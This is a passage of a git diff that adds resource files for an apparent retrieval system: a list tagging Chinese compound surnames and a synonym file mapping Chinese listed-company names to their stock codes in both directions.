"firstnm", +"公羊": "firstnm", +"公冶": "firstnm", +"赫连": "firstnm", +"呼延": "firstnm", +"皇甫": "firstnm", +"乐正": "firstnm", +"冷狐": "firstnm", +"令狐": "firstnm", +"刘付": "firstnm", +"刘傅": "firstnm", +"闾丘": "firstnm", +"慕容": "firstnm", +"纳兰": "firstnm", +"南宫": "firstnm", +"南门": "firstnm", +"殴阳": "firstnm", +"濮阳": "firstnm", +"亓官": "firstnm", +"上官": "firstnm", +"申屠": "firstnm", +"司空": "firstnm", +"司寇": "firstnm", +"司马": "firstnm", +"司徒": "firstnm", +"太史": "firstnm", +"太叔": "firstnm", +"拓跋": "firstnm", +"完颜": "firstnm", +"万俟": "firstnm", +"尉迟": "firstnm", +"闻人": "firstnm", +"巫马": "firstnm", +"西门": "firstnm", +"夏侯": "firstnm", +"夏候": "firstnm", +"鲜于": "firstnm", +"轩辕": "firstnm", +"宇文": "firstnm", +"长孙": "firstnm", +"钟离": "firstnm", +"仲孙": "firstnm", +"诸葛": "firstnm", +"颛孙": "firstnm", +"宗政": "firstnm", +"左丘": "firstnm" +} diff --git a/rag/res/synonym.json b/rag/res/synonym.json new file mode 100644 index 0000000..ea61b9e --- /dev/null +++ b/rag/res/synonym.json @@ -0,0 +1,10546 @@ +{ +"阿为特": "873693", +"873693": "阿为特", +"卓兆点胶": "873726", +"873726": "卓兆点胶", +"骑士乳业": "832786", +"832786": "骑士乳业", +"中集环科": "301559", +"301559": "中集环科", +"N浩辰": "688657", +"688657": "N浩辰", +"三态股份": "301558", +"301558": "三态股份", +"爱科赛博": "688719", +"688719": "爱科赛博", +"万邦医药": "301520", +"301520": "万邦医药", +"飞南资源": "301500", +"301500": "飞南资源", +"盛科通信": "688702", +"688702": "盛科通信", +"中巨芯": "688549", +"688549": "中巨芯", +"视声智能": "870976", +"870976": "视声智能", +"德福科技": "301511", +"301511": "德福科技", +"宏裕包材": "837174", +"837174": "宏裕包材", +"盟固利": "301487", +"301487": "盟固利", +"鸿智科技": "870726", +"870726": "鸿智科技", +"舜禹股份": "301519", +"301519": "舜禹股份", +"锦波生物": "832982", +"832982": "锦波生物", +"英华特": "301272", +"301272": "英华特", +"时创能源": "688429", +"688429": "时创能源", +"致欧科技": "301376", +"301376": "致欧科技", +"智翔金泰": "688443", +"688443": "智翔金泰", +"阿特斯": "688472", +"688472": "阿特斯", +"中科飞测": "688361", +"688361": "中科飞测", +"慧智微": "688512", +"688512": "慧智微", +"中芯集成": "688469", +"688469": "中芯集成", +"华原股份": "838837", +"838837": "华原股份", +"陕西能源": "001286", +"001286": "陕西能源", +"云天励飞": "688343", +"688343": "云天励飞", +"彩蝶实业": "603073", +"603073": "彩蝶实业", +"康乐卫士": "833575", +"833575": "康乐卫士", +"百甲科技": "835857", +"835857": "百甲科技", +"绿通科技": "301322", +"301322": "绿通科技", +"一彬科技": "001278", +"001278": "一彬科技", +"华人健康": "301408", +"301408": "华人健康", +"真兰仪表": "301303", +"301303": "真兰仪表", +"和泰机电": "001225", +"001225": "和泰机电", +"阿莱德": "301419", +"301419": "阿莱德", +"裕太微": "688515", +"688515": "裕太微", +"江瀚新材": "603281", +"603281": "江瀚新材", +"田野股份": "832023", +"832023": "田野股份", +"百利天恒": "688506", +"688506": "百利天恒", +"太湖雪": "838262", +"838262": "太湖雪", +"鸿铭股份": "301105", +"301105": "鸿铭股份", +"凯华材料": "831526", +"831526": "凯华材料", +"柏星龙": "833075", +"833075": "柏星龙", +"宁波远洋": "601022", +"601022": "宁波远洋", +"方盛股份": "832662", +"832662": "方盛股份", +"甬矽电子": "688362", +"688362": "甬矽电子", +"南方路机": "603280", +"603280": "南方路机", +"麒麟信安": "688152", +"688152": "麒麟信安", +"箭牌家居": "001322", +"001322": "箭牌家居", +"三柏硕": "001300", +"001300": "三柏硕", +"星环科技": "688031", +"688031": "星环科技", +"卓创资讯": "301299", +"301299": "卓创资讯", +"哈铁科技": "688459", +"688459": "哈铁科技", +"硅烷科技": "838402", +"838402": "硅烷科技", +"信科移动": "688387", +"688387": "信科移动", +"诺诚健华": "688428", +"688428": "诺诚健华", +"联动科技": "301369", +"301369": "联动科技", +"帕瓦股份": "688184", +"688184": "帕瓦股份", +"捷邦科技": "301326", +"301326": "捷邦科技", +"锡装股份": "001332", +"001332": "锡装股份", +"信德新材": "301349", +"301349": "信德新材", +"奥浦迈": "688293", +"688293": "奥浦迈", +"微电生理": "688351", +"688351": "微电生理", +"振华风光": "688439", +"688439": "振华风光", +"丛麟科技": "688370", +"688370": "丛麟科技", +"鼎际得": "603255", +"603255": "鼎际得", +"农心科技": "001231", +"001231": "农心科技", +"易点天下": "301171", +"301171": "易点天下", +"浩瀚深度": "688292", +"688292": "浩瀚深度", +"盟科药业": "688373", +"688373": "盟科药业", +"北路智控": "301195", +"301195": "北路智控", +"英诺特": "688253", +"688253": "英诺特", +"益方生物": "688382", +"688382": "益方生物", +"天新药业": "603235", +"603235": "天新药业", +"奥比中光": "688322", +"688322": "奥比中光", +"中科环保": "301175", +"301175": "中科环保", +"联合精密": "001268", +"001268": "联合精密", +"龙芯中科": "688047", +"688047": "龙芯中科", +"天润科技": "430564", +"430564": "天润科技", +"井松智能": "688251", +"688251": "井松智能", +"荣亿精密": "873223", +"873223": "荣亿精密", +"云从科技": "688327", +"688327": "云从科技", +"东田微": "301183", +"301183": "东田微", +"思特威": "688213", +"688213": "思特威", +"阳光乳业": "001318", +"001318": "阳光乳业", +"中国海油": "600938", +"600938": "中国海油", +"清研环境": "301288", +"301288": "清研环境", +"经纬恒润": "688326", +"688326": "经纬恒润", +"联盛化学": "301212", +"301212": "联盛化学", +"海创药业": "688302", +"688302": "海创药业", +"瑞德智能": "301135", +"301135": "瑞德智能", +"七丰精工": "873169", +"873169": "七丰精工", +"泰恩康": "301263", +"301263": "泰恩康", +"富士莱": "301258", +"301258": "富士莱", +"兴通股份": "603209", +"603209": "兴通股份", +"首药控股": "688197", +"688197": "首药控股", +"和顺科技": "301237", +"301237": "和顺科技", +"均普智能": "688306", +"688306": "均普智能", +"路斯股份": "832419", +"832419": "路斯股份", +"浙江恒威": "301222", +"301222": "浙江恒威", +"凯德石英": "835179", +"835179": "凯德石英", +"金徽股份": "603132", +"603132": "金徽股份", +"纽泰格": "301229", +"301229": "纽泰格", +"标榜股份": "301181", +"301181": "标榜股份", +"采纳股份": "301122", +"301122": "采纳股份", +"奕东电子": "301123", +"301123": "奕东电子", +"希荻微": "688173", +"688173": "希荻微", +"翱捷科技": "688220", +"688220": "翱捷科技", +"迈威生物": "688062", +"688062": "迈威生物", +"亚虹医药": "688176", +"688176": "亚虹医药", +"国芯科技": "688262", +"688262": "国芯科技", +"品高股份": "688227", +"688227": "品高股份", +"雅艺科技": "301113", +"301113": "雅艺科技", +"迪阿股份": "301177", +"301177": "迪阿股份", +"百济神州": "688235", +"688235": "百济神州", +"迪哲医药": "688192", +"688192": "迪哲医药", +"泽宇智能": "301179", +"301179": "泽宇智能", +"鼎阳科技": "688112", +"688112": "鼎阳科技", +"观想科技": "301213", +"301213": "观想科技", +"万祥科技": "301180", +"301180": "万祥科技", +"恒光股份": "301118", +"301118": "恒光股份", +"中寰股份": "836260", +"836260": "中寰股份", +"镇洋发展": "603213", +"603213": "镇洋发展", +"隆华新材": "301149", +"301149": "隆华新材", +"科达自控": "831832", +"831832": "科达自控", +"零点有数": "301169", +"301169": "零点有数", +"瑞纳智能": "301129", +"301129": "瑞纳智能", +"精进电动": "688280", +"688280": "精进电动", +"新锐股份": "688257", +"688257": "新锐股份", +"汇宇制药": "688553", +"688553": "汇宇制药", +"汉鑫科技": "837092", +"837092": "汉鑫科技", +"德昌股份": "605555", +"605555": "德昌股份", +"海希通讯": "831305", +"831305": "海希通讯", +"*ST富吉": "688272", +"688272": "*ST富吉", +"珠海冠宇": "688772", +"688772": "珠海冠宇", +"春雪食品": "605567", +"605567": "春雪食品", +"海锅股份": "301063", +"301063": "海锅股份", +"中粮科工": "301058", +"301058": "中粮科工", +"张小泉": "301055", +"301055": "张小泉", +"艾为电子": "688798", +"688798": "艾为电子", +"沪农商行": "601825", +"601825": "沪农商行", +"天禄科技": "301045", +"301045": "天禄科技", +"海天瑞声": "688787", +"688787": "海天瑞声", +"冠石科技": "605588", +"605588": "冠石科技", +"双乐股份": "301036", +"301036": "双乐股份", +"大全能源": "688303", +"688303": "大全能源", +"仕净科技": "301030", +"301030": "仕净科技", +"立达信": "605365", +"605365": "立达信", +"东亚机械": "301028", +"301028": "东亚机械", +"威腾电气": "688226", +"688226": "威腾电气", +"英诺激光": "301021", +"301021": "英诺激光", +"密封科技": "301020", +"301020": "密封科技", +"星辰科技": "832885", +"832885": "星辰科技", +"杭州热电": "605011", +"605011": "杭州热电", +"海泰科": "301022", +"301022": "海泰科", +"工大高科": "688367", +"688367": "工大高科", +"力芯微": "688601", +"688601": "力芯微", +"瑞丰银行": "601528", +"601528": "瑞丰银行", +"晶雪节能": "301010", +"301010": "晶雪节能", +"爱威科技": "688067", +"688067": "爱威科技", +"德迈仕": "301007", +"301007": "德迈仕", +"宏昌科技": "301008", +"301008": "宏昌科技", +"东航物流": "601156", +"601156": "东航物流", +"超捷股份": "301005", +"301005": "超捷股份", +"江苏博云": "301003", +"301003": "江苏博云", +"凯淳股份": "301001", +"301001": "凯淳股份", +"和辉光电": "688538", +"688538": "和辉光电", +"爱慕股份": "603511", +"603511": "爱慕股份", +"电气风电": "688660", +"688660": "电气风电", +"南侨食品": "605339", +"605339": "南侨食品", +"盛航股份": "001205", +"001205": "盛航股份", +"大中矿业": "001203", +"001203": "大中矿业", +"财达证券": "600906", +"600906": "财达证券", +"华利集团": "300979", +"300979": "华利集团", +"祥源新材": "300980", +"300980": "祥源新材", +"杭州柯林": "688611", +"688611": "杭州柯林", +"华绿生物": "300970", +"300970": "华绿生物", +"中洲特材": "300963", +"300963": "中洲特材", +"中农联合": "003042", +"003042": "中农联合", +"线上线下": "300959", +"300959": "线上线下", +"震裕科技": "300953", +"300953": "震裕科技", +"青云科技": "688316", +"688316": "青云科技", +"菱电电控": "688667", +"688667": "菱电电控", +"四方新材": "605122", +"605122": "四方新材", +"联德股份": "605060", +"605060": "联德股份", +"园林股份": "605303", +"605303": "园林股份", +"华锐精密": "688059", +"688059": "华锐精密", +"中国黄金": "600916", +"600916": "中国黄金", +"长虹能源": "836239", +"836239": "长虹能源", +"三友联众": "300932", +"300932": "三友联众", +"南网能源": "003035", +"003035": "南网能源", +"江天化学": "300927", +"300927": "江天化学", +"博俊科技": "300926", +"300926": "博俊科技", +"祖名股份": "003030", +"003030": "祖名股份", +"法本信息": "300925", +"300925": "法本信息", +"振邦智能": "003028", +"003028": "振邦智能", +"福立旺": "688678", +"688678": "福立旺", +"立方制药": "003020", +"003020": "立方制药", +"杭华股份": "688571", +"688571": "杭华股份", +"兆威机电": "003021", +"003021": "兆威机电", +"九号公司": "689009", +"689009": "九号公司", +"前沿生物": "688221", +"688221": "前沿生物", +"东来技术": "688129", +"688129": "东来技术", +"日久光电": "003015", +"003015": "日久光电", +"地铁设计": "003013", +"003013": "地铁设计", +"巴比食品": "605338", +"605338": "巴比食品", +"天臣医疗": "688013", +"688013": "天臣医疗", +"丽人丽妆": "605136", +"605136": "丽人丽妆", +"长华集团": "605018", +"605018": "长华集团", +"铜牛信息": "300895", +"300895": "铜牛信息", +"科前生物": "688526", +"688526": "科前生物", +"思瑞浦": "688536", +"688536": "思瑞浦", +"海目星": "688559", +"688559": "海目星", +"圣湘生物": "688289", +"688289": "圣湘生物", +"维康药业": "300878", +"300878": "维康药业", +"南大环境": "300864", +"300864": "南大环境", +"格林达": "603931", +"603931": "格林达", +"捷强装备": "300875", +"300875": "捷强装备", +"冠盛股份": "605088", +"605088": "冠盛股份", +"凯赛生物": "688065", +"688065": "凯赛生物", +"亿华通": "688339", +"688339": "亿华通", +"华达新材": "605158", +"605158": "华达新材", +"赛科希德": "688338", +"688338": "赛科希德", +"盟升电子": "688311", +"688311": "盟升电子", +"天地在线": "002995", +"002995": "天地在线", +"甘源食品": "002991", +"002991": "甘源食品", +"起帆电缆": "605222", +"605222": "起帆电缆", +"国联证券": "601456", +"601456": "国联证券", +"旭杰科技": "836149", +"836149": "旭杰科技", +"奇安信": "688561", +"688561": "奇安信", +"大唐药业": "836433", +"836433": "大唐药业", +"泰祥股份": "833874", +"833874": "泰祥股份", +"寒武纪": "688256", +"688256": "寒武纪", +"美瑞新材": "300848", +"300848": "美瑞新材", +"埃夫特": "688165", +"688165": "埃夫特", +"苏轴股份": "430418", +"430418": "苏轴股份", +"君实生物": "688180", +"688180": "君实生物", +"佳先股份": "430489", +"430489": "佳先股份", +"颖泰生物": "833819", +"833819": "颖泰生物", +"天智航": "688277", +"688277": "天智航", +"秦川物联": "688528", +"688528": "秦川物联", +"神州细胞": "688520", +"688520": "神州细胞", +"宇新股份": "002986", +"002986": "宇新股份", +"凯迪股份": "605288", +"605288": "凯迪股份", +"中泰证券": "600918", +"600918": "中泰证券", +"佰奥智能": "300836", +"300836": "佰奥智能", +"长源东谷": "603950", +"603950": "长源东谷", +"湘佳股份": "002982", +"002982": "湘佳股份", +"华润微": "688396", +"688396": "华润微", +"耐普矿机": "300818", +"300818": "耐普矿机", +"泽璟制药": "688266", +"688266": "泽璟制药", +"优刻得": "688158", +"688158": "优刻得", +"易天股份": "300812", +"300812": "易天股份", +"佰仁医疗": "688198", +"688198": "佰仁医疗", +"硕世生物": "688399", +"688399": "硕世生物", +"通达电气": "603390", +"603390": "通达电气", +"矩子科技": "300802", +"300802": "矩子科技", +"筑博设计": "300564", +"300564": "筑博设计", +"奥福环保": "688021", +"688021": "奥福环保", +"*ST左江": "300799", +"300799": "*ST左江", +"祥鑫科技": "002965", +"002965": "祥鑫科技", +"米奥会展": "300795", +"300795": "米奥会展", +"唐源电气": "300789", +"300789": "唐源电气", +"中国广核": "003816", +"003816": "中国广核", +"柏楚电子": "688188", +"688188": "柏楚电子", +"神马电力": "603530", +"603530": "神马电力", +"景津装备": "603279", +"603279": "景津装备", +"嘉元科技": "688388", +"688388": "嘉元科技", +"航天宏图": "688066", +"688066": "航天宏图", +"天宜上佳": "688033", +"688033": "天宜上佳", +"沃尔德": "688028", +"688028": "沃尔德", +"西部超导": "688122", +"688122": "西部超导", +"乐鑫科技": "688018", +"688018": "乐鑫科技", +"福蓉科技": "603327", +"603327": "福蓉科技", +"三角防务": "300775", +"300775": "三角防务", +"新城市": "300778", +"300778": "新城市", +"拉卡拉": "300773", +"300773": "拉卡拉", +"德方纳米": "300769", +"300769": "德方纳米", +"上海瀚讯": "300762", +"300762": "上海瀚讯", +"福莱特": "601865", +"601865": "福莱特", +"明阳智能": "601615", +"601615": "明阳智能", +"青岛港": "601298", +"601298": "青岛港", +"蔚蓝生物": "603739", +"603739": "蔚蓝生物", +"利通电子": "603629", +"603629": "利通电子", +"新疆交建": "002941", +"002941": "新疆交建", +"迈为股份": "300751", +"300751": "迈为股份", +"鹏鼎控股": "002938", +"002938": "鹏鼎控股", +"雅运股份": "603790", +"603790": "雅运股份", +"中铝国际": "601068", +"601068": "中铝国际", +"新兴装备": "002933", +"002933": "新兴装备", +"康辰药业": "603590", +"603590": "康辰药业", +"江苏新能": "603693", +"603693": "江苏新能", +"宁德时代": "300750", +"300750": "宁德时代", +"福达合金": "603045", +"603045": "福达合金", +"彩讯股份": "300634", +"300634": "彩讯股份", +"倍加洁": "603059", +"603059": "倍加洁", +"今创集团": "603680", +"603680": "今创集团", +"泰永长征": "002927", +"002927": "泰永长征", +"中源家居": "603709", +"603709": "中源家居", +"嘉友国际": "603871", +"603871": "嘉友国际", +"华菱精工": "603356", +"603356": "华菱精工", +"万兴科技": "300624", +"300624": "万兴科技", +"德邦股份": "603056", +"603056": "德邦股份", +"西菱动力": "300733", +"300733": "西菱动力", +"中石科技": "300684", +"300684": "中石科技", +"名臣健康": "002919", +"002919": "名臣健康", +"华能水电": "600025", +"600025": "华能水电", +"深南电路": "002916", +"002916": "深南电路", +"水星家纺": "603365", +"603365": "水星家纺", +"山东出版": "601019", +"601019": "山东出版", +"怡达股份": "300721", +"300721": "怡达股份", +"振江股份": "603507", +"603507": "振江股份", +"广哈通信": "300711", +"300711": "广哈通信", +"合盛硅业": "603260", +"603260": "合盛硅业", +"晶华新材": "603683", +"603683": "晶华新材", +"万隆光电": "300710", +"300710": "万隆光电", +"洛凯股份": "603829", +"603829": "洛凯股份", +"翔港科技": "603499", +"603499": "翔港科技", +"傲农生物": "603363", +"603363": "傲农生物", +"台华新材": "603055", +"603055": "台华新材", +"原尚股份": "603813", +"603813": "原尚股份", +"京能热力": "002893", +"002893": "京能热力", +"英派斯": "002899", +"002899": "英派斯", +"畅联股份": "603648", +"603648": "畅联股份", +"银都股份": "603277", +"603277": "银都股份", +"建研院": "603183", +"603183": "建研院", +"光威复材": "300699", +"300699": "光威复材", +"川恒股份": "002895", +"002895": "川恒股份", +"爱乐达": "300696", +"300696": "爱乐达", +"中宠股份": "002891", +"002891": "中宠股份", +"秦港股份": "601326", +"601326": "秦港股份", +"中广天择": "603721", +"603721": "中广天择", +"勘设股份": "603458", +"603458": "勘设股份", +"海特生物": "300683", +"300683": "海特生物", +"弘宇股份": "002890", +"002890": "弘宇股份", +"电连技术": "300679", +"300679": "电连技术", +"岱美股份": "603730", +"603730": "岱美股份", +"禾望电气": "603063", +"603063": "禾望电气", +"国科微": "300672", +"300672": "国科微", +"富满微": "300671", +"300671": "富满微", +"三孚股份": "603938", +"603938": "三孚股份", +"迪生力": "603335", +"603335": "迪生力", +"菲林格尔": "603226", +"603226": "菲林格尔", +"科蓝软件": "300663", +"300663": "科蓝软件", +"圣邦股份": "300661", +"300661": "圣邦股份", +"艾艾精工": "603580", +"603580": "艾艾精工", +"弘信电子": "300657", +"300657": "弘信电子", +"正海生物": "300653", +"300653": "正海生物", +"金牌厨柜": "603180", +"603180": "金牌厨柜", +"金能科技": "603113", +"603113": "金能科技", +"先达股份": "603086", +"603086": "先达股份", +"万通智控": "300643", +"300643": "万通智控", +"绿康生化": "002868", +"002868": "绿康生化", +"周大生": "002867", +"002867": "周大生", +"三超新材": "300554", +"300554": "三超新材", +"今飞凯达": "002863", +"002863": "今飞凯达", +"开立医疗": "300633", +"300633": "开立医疗", +"金麒麟": "603586", +"603586": "金麒麟", +"华测导航": "300627", +"300627": "华测导航", +"*ST碳元": "603133", +"603133": "*ST碳元", +"捷捷微电": "300623", +"300623": "捷捷微电", +"克来机电": "603960", +"603960": "克来机电", +"至正股份": "603991", +"603991": "至正股份", +"诺邦股份": "603238", +"603238": "诺邦股份", +"安正时尚": "603839", +"603839": "安正时尚", +"江山欧派": "603208", +"603208": "江山欧派", +"科森科技": "603626", +"603626": "科森科技", +"会畅通讯": "300578", +"300578": "会畅通讯", +"华达科技": "603358", +"603358": "华达科技", +"集友股份": "603429", +"603429": "集友股份", +"吉大通信": "300597", +"300597": "吉大通信", +"张家港行": "002839", +"002839": "张家港行", +"中国银河": "601881", +"601881": "中国银河", +"诚迈科技": "300598", +"300598": "诚迈科技", +"艾迪精密": "603638", +"603638": "艾迪精密", +"杰克股份": "603337", +"603337": "杰克股份", +"天马科技": "603668", +"603668": "天马科技", +"贝斯特": "300580", +"300580": "贝斯特", +"天龙股份": "603266", +"603266": "天龙股份", +"德新科技": "603032", +"603032": "德新科技", +"晨曦航空": "300581", +"300581": "晨曦航空", +"亚振家居": "603389", +"603389": "亚振家居", +"裕同科技": "002831", +"002831": "裕同科技", +"星网宇达": "002829", +"002829": "星网宇达", +"森特股份": "603098", +"603098": "森特股份", +"名雕股份": "002830", +"002830": "名雕股份", +"桂发祥": "002820", +"002820": "桂发祥", +"国检集团": "603060", +"603060": "国检集团", +"丝路视觉": "300556", +"300556": "丝路视觉", +"中富通": "300560", +"300560": "中富通", +"五洲新春": "603667", +"603667": "五洲新春", +"能科科技": "603859", +"603859": "能科科技", +"梦百合": "603313", +"603313": "梦百合", +"常熟银行": "601128", +"601128": "常熟银行", +"安图生物": "603658", +"603658": "安图生物", +"山东赫达": "002810", +"002810": "山东赫达", +"ST花王": "603007", +"603007": "ST花王", +"欧普照明": "603515", +"603515": "欧普照明", +"上海电影": "601595", +"601595": "上海电影", +"优博讯": "300531", +"300531": "优博讯", +"江苏银行": "600919", +"600919": "江苏银行", +"海波重科": "300517", +"300517": "海波重科", +"赛力斯": "601127", +"601127": "赛力斯", +"中国核建": "601611", +"601611": "中国核建", +"三棵树": "603737", +"603737": "三棵树", +"恒实科技": "300513", +"300513": "恒实科技", +"中亚股份": "300512", +"300512": "中亚股份", +"第一创业": "002797", +"002797": "第一创业", +"苏奥传感": "300507", +"300507": "苏奥传感", +"飞科电器": "603868", +"603868": "飞科电器", +"金徽酒": "603919", +"603919": "金徽酒", +"司太立": "603520", +"603520": "司太立", +"桃李面包": "603866", +"603866": "桃李面包", +"*ST美尚": "300495", +"300495": "*ST美尚", +"沐邦高科": "603398", +"603398": "沐邦高科", +"恒通股份": "603223", +"603223": "恒通股份", +"音飞储存": "603066", +"603066": "音飞储存", +"星徽股份": "300464", +"300464": "星徽股份", +"南兴股份": "002757", +"002757": "南兴股份", +"先导智能": "300450", +"300450": "先导智能", +"奥赛康": "002755", +"002755": "奥赛康", +"山河药辅": "300452", +"300452": "山河药辅", +"创业慧康": "300451", +"300451": "创业慧康", +"鹏辉能源": "300438", +"300438": "鹏辉能源", +"乐凯新材": "300446", +"300446": "乐凯新材", +"鲍斯股份": "300441", +"300441": "鲍斯股份", +"腾龙股份": "603158", +"603158": "腾龙股份", +"*ST全筑": "603030", +"603030": "*ST全筑", +"国光股份": "002749", +"002749": "国光股份", +"立霸股份": "603519", +"603519": "立霸股份", +"银龙股份": "603969", +"603969": "银龙股份", +"好莱客": "603898", +"603898": "好莱客", +"火炬电子": "603678", +"603678": "火炬电子", +"迦南科技": "300412", +"300412": "迦南科技", +"金盾股份": "300411", +"300411": "金盾股份", +"方盛制药": "603998", +"603998": "方盛制药", +"海南矿业": "601969", +"601969": "海南矿业", +"柳药集团": "603368", +"603368": "柳药集团", +"凯发电气": "300407", +"300407": "凯发电气", +"福达股份": "603166", +"603166": "福达股份", +"中电电机": "603988", +"603988": "中电电机", +"九强生物": "300406", +"300406": "九强生物", +"华懋科技": "603306", +"603306": "华懋科技", +"节能风电": "601016", +"601016": "节能风电", +"迪瑞医疗": "300396", +"300396": "迪瑞医疗", +"福斯特": "603806", +"603806": "福斯特", +"长药控股": "300391", +"300391": "长药控股", +"艾比森": "300389", +"300389": "艾比森", +"北特科技": "603009", +"603009": "北特科技", +"一心堂": "002727", +"002727": "一心堂", +"联明股份": "603006", +"603006": "联明股份", +"登云股份": "002715", +"002715": "登云股份", +"斯莱克": "300382", +"300382": "斯莱克", +"安硕信息": "300380", +"300380": "安硕信息", +"易事特": "300376", +"300376": "易事特", +"金贵银业": "002716", +"002716": "金贵银业", +"牧原股份": "002714", +"002714": "牧原股份", +"恒华科技": "300365", +"300365": "恒华科技", +"新宝股份": "002705", +"002705": "新宝股份", +"浙江世宝": "002703", +"002703": "浙江世宝", +"北信源": "300352", +"300352": "北信源", +"博实股份": "002698", +"002698": "博实股份", +"吉翔股份": "603399", +"603399": "吉翔股份", +"双成药业": "002693", +"002693": "双成药业", +"天银机电": "300342", +"300342": "天银机电", +"乔治白": "002687", +"002687": "乔治白", +"迪森股份": "300335", +"300335": "迪森股份", +"中信重工": "601608", +"601608": "中信重工", +"龙洲股份": "002682", +"002682": "龙洲股份", +"福建金森": "002679", +"002679": "福建金森", +"东诚药业": "002675", +"002675": "东诚药业", +"东江环保": "002672", +"002672": "东江环保", +"慈星股份": "300307", +"300307": "慈星股份", +"首航高科": "002665", +"002665": "首航高科", +"聚飞光电": "300303", +"300303": "聚飞光电", +"普邦股份": "002663", +"002663": "普邦股份", +"吉视传媒": "601929", +"601929": "吉视传媒", +"仁东控股": "002647", +"002647": "仁东控股", +"公元股份": "002641", +"002641": "公元股份", +"三丰智能": "300276", +"300276": "三丰智能", +"德尔未来": "002631", +"002631": "德尔未来", +"玉龙股份": "601028", +"601028": "玉龙股份", +"光启技术": "002625", +"002625": "光启技术", +"中国电建": "601669", +"601669": "中国电建", +"瑞和股份": "002620", +"002620": "瑞和股份", +"隆华科技": "300263", +"300263": "隆华科技", +"佳创视讯": "300264", +"300264": "佳创视讯", +"奥佳华": "002614", +"002614": "奥佳华", +"京运通": "601908", +"601908": "京运通", +"东方精工": "002611", +"002611": "东方精工", +"林洋能源": "601222", +"601222": "林洋能源", +"金信诺": "300252", +"300252": "金信诺", +"融捷健康": "300247", +"300247": "融捷健康", +"世纪华通": "002602", +"002602": "世纪华通", +"海南瑞泽": "002596", +"002596": "海南瑞泽", +"永利股份": "300230", +"300230": "永利股份", +"富瑞特装": "300228", +"300228": "富瑞特装", +"银禧科技": "300221", +"300221": "银禧科技", +"未名医药": "002581", +"002581": "未名医药", +"雷柏科技": "002577", +"002577": "雷柏科技", +"群兴玩具": "002575", +"002575": "群兴玩具", +"明牌珠宝": "002574", +"002574": "明牌珠宝", +"清新环境": "002573", +"002573": "清新环境", +"益盛药业": "002566", +"002566": "益盛药业", +"兄弟科技": "002562", +"002562": "兄弟科技", +"南方精工": "002553", +"002553": "南方精工", +"宝鼎科技": "002552", +"002552": "宝鼎科技", +"力源信息": "300184", +"300184": "力源信息", +"金隅集团": "601992", +"601992": "金隅集团", +"四方达": "300179", +"300179": "四方达", +"汉得信息": "300170", +"300170": "汉得信息", +"博威合金": "601137", +"601137": "博威合金", +"中化岩土": "002542", +"002542": "中化岩土", +"万达信息": "300168", +"300168": "万达信息", +"天瑞仪器": "300165", +"300165": "天瑞仪器", +"亚太科技": "002540", +"002540": "亚太科技", +"海联金汇": "002537", +"002537": "海联金汇", +"飞龙股份": "002536", +"002536": "飞龙股份", +"亚星锚链": "601890", +"601890": "亚星锚链", +"香雪制药": "300147", +"300147": "香雪制药", +"天桥起重": "002523", +"002523": "天桥起重", +"银河电子": "002519", +"002519": "银河电子", +"利源股份": "002501", +"002501": "利源股份", +"节能环境": "300140", +"300140": "节能环境", +"通鼎互联": "002491", +"002491": "通鼎互联", +"浙江永强": "002489", +"002489": "浙江永强", +"英唐智控": "300131", +"300131": "英唐智控", +"兴业证券": "601377", +"601377": "兴业证券", +"嘉麟杰": "002486", +"002486": "嘉麟杰", +"聆达股份": "300125", +"300125": "聆达股份", +"江海股份": "002484", +"002484": "江海股份", +"润邦股份": "002483", +"002483": "润邦股份", +"经纬辉开": "300120", +"300120": "经纬辉开", +"*ST吉药": "300108", +"300108": "*ST吉药", +"龙源技术": "300105", +"300105": "龙源技术", +"晶澳科技": "002459", +"002459": "晶澳科技", +"启明星辰": "002439", +"002439": "启明星辰", +"江苏神通": "002438", +"002438": "江苏神通", +"云南锗业": "002428", +"002428": "云南锗业", +"长信科技": "300088", +"300088": "长信科技", +"多氟多": "002407", +"002407": "多氟多", +"中远海科": "002401", +"002401": "中远海科", +"梦洁股份": "002397", +"002397": "梦洁股份", +"力生制药": "002393", +"002393": "力生制药", +"航天彩虹": "002389", +"002389": "航天彩虹", +"双箭股份": "002381", +"002381": "双箭股份", +"三川智慧": "300066", +"300066": "三川智慧", +"天龙集团": "300063", +"300063": "天龙集团", +"东方财富": "300059", +"300059": "东方财富", +"伟星新材": "002372", +"002372": "伟星新材", +"亚太药业": "002370", +"002370": "亚太药业", +"融发核电": "002366", +"002366": "融发核电", +"汉王科技": "002362", +"002362": "汉王科技", +"中创环保": "300056", +"300056": "中创环保", +"万邦达": "300055", +"300055": "万邦达", +"航宇微": "300053", +"300053": "航宇微", +"杰瑞股份": "002353", +"002353": "杰瑞股份", +"巨力索具": "002342", +"002342": "巨力索具", +"新纶新材": "002341", +"002341": "新纶新材", +"积成电子": "002339", +"002339": "积成电子", +"世纪鼎利": "300050", +"300050": "世纪鼎利", +"星辉娱乐": "300043", +"300043": "星辉娱乐", +"皖新传媒": "601801", +"601801": "皖新传媒", +"奥普光电": "002338", +"002338": "奥普光电", +"赛象科技": "002337", +"002337": "赛象科技", +"英威腾": "002334", +"002334": "英威腾", +"宏德股份": "301163", +"301163": "宏德股份", +"美迪凯": "688079", +"688079": "美迪凯", +"欧菲光": "002456", +"002456": "欧菲光", +"天奇股份": "002009", +"002009": "天奇股份", +"中航重机": "600765", +"600765": "中航重机", +"银河磁体": "300127", +"300127": "银河磁体", +"小崧股份": "002723", +"002723": "小崧股份", +"朗威股份": "301202", +"301202": "朗威股份", +"洲明科技": "300232", +"300232": "洲明科技", +"三七互娱": "002555", +"002555": "三七互娱", +"麦迪科技": "603990", +"603990": "麦迪科技", +"新华传媒": "600825", +"600825": "新华传媒", +"和邦生物": "603077", +"603077": "和邦生物", +"国际实业": "000159", +"000159": "国际实业", +"紫金银行": "601860", +"601860": "紫金银行", +"沪电股份": "002463", +"002463": "沪电股份", +"芯动联科": "688582", +"688582": "芯动联科", +"康冠科技": "001308", +"001308": "康冠科技", +"锐科激光": "300747", +"300747": "锐科激光", +"安居宝": "300155", +"300155": "安居宝", +"东睦股份": "600114", +"600114": "东睦股份", +"中国外运": "601598", +"601598": "中国外运", +"濮耐股份": "002225", +"002225": "濮耐股份", +"华致酒行": "300755", +"300755": "华致酒行", +"晓鸣股份": "300967", +"300967": "晓鸣股份", +"一博科技": "301366", +"301366": "一博科技", +"湖北宜化": "000422", +"000422": "湖北宜化", +"青岛金王": "002094", +"002094": "青岛金王", +"福昕软件": "688095", +"688095": "福昕软件", +"盛运退": "300090", +"300090": "盛运退", +"春立医疗": "688236", +"688236": "春立医疗", +"圆通速递": "600233", +"600233": "圆通速递", +"乖宝宠物": "301498", +"301498": "乖宝宠物", 